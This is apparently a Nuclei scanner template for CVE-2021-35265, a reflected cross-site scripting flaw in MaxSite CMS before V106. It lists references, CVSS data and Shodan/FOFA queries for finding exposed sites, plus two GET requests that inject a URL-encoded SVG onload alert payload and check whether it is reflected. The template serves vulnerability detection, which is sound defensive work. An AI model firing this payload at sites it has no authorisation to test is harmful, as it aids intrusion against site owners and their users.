id: CVE-2021-35265 info: name: MaxSite CMS > V106 - Cross-Site Scripting author: pikpikcu severity: medium description: | A reflected cross-site scripting vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page." impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Upgrade to a patched version of MaxSite CMS or apply the vendor-provided security patch to mitigate the XSS vulnerability (CVE-2021-35265). reference: - https://github.com/maxsite/cms/issues/414#issue-726249183 - https://nvd.nist.gov/vuln/detail/CVE-2021-35265 - https://github.com/maxsite/cms/commit/6b0ab1de9f3d471485d1347e800a9ce43fedbf1a - https://github.com/ARPSyndicate/kenzer-templates - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-35265 cwe-id: CWE-79 epss-score: 0.00141 epss-percentile: 0.4979 cpe: cpe:2.3:a:maxsite:maxsite_cms:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: maxsite product: maxsite_cms shodan-query: - html:'content="MaxSite CMS' - http.html:'content="maxsite cms' fofa-query: body='content="maxsite cms' tags: cve2021,cve,maxsite,xss http: - method: GET path: - '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E' - '{{BaseURL}}/page/1%22%3E%3Csvg/onload=alert(document.domain)%3E' matchers-condition: and matchers: - type: word part: body words: - '><svg/onload=alert(document.domain)>' - type: word part: body words: - 'mso-comments-rss">RSS</a>' - 'MaxSite CMS' - 'feed"><span>RSS</span>' condition: or - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100e7847514ecfd6e61a3765e29a67cc15f37c5ef49a69ab726aaea4405cce80dd0022034479cb2ed0910933e5d0945bbfa123d831278e440f7da24eff96193e8030b55:922c64590222798bb761d5b6d8e72950